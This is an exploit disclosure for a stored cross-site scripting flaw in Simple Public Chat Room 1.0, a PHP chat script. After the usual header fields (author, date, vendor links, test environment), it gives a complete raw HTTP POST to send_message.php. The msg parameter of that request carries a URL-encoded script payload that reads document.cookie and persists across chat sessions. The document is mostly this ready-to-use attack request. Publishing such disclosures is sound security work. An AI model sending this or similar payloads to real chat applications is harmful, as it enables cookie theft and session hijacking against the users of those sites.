Simple Public Chat Room 1.0 Cross Site Scripting

`# Exploit Title: Simple Public Chat Room | Authenticated Stored Cross-Site Scripting  
# Exploit Author: Richard Jones  
# Date: 2021-01-26  
# Vendor Homepage: https://www.sourcecodester.com/php/12295/simple-public-chat-room-using-php.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=12295&title=Simple+Public+Chat+Room+Using+PHP%2FMySQLi+with+Source+Code  
# Version: 1.0  
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34  
  
#Replicates across chat sessions..  
  
  
POST /chat/send_message.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Content-Length: 58  
Origin: http://localhost  
Connection: close  
Cookie: PHPSESSID=r2focevhk11aqka051gt26qfhl  
  
msg=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&id=1  
`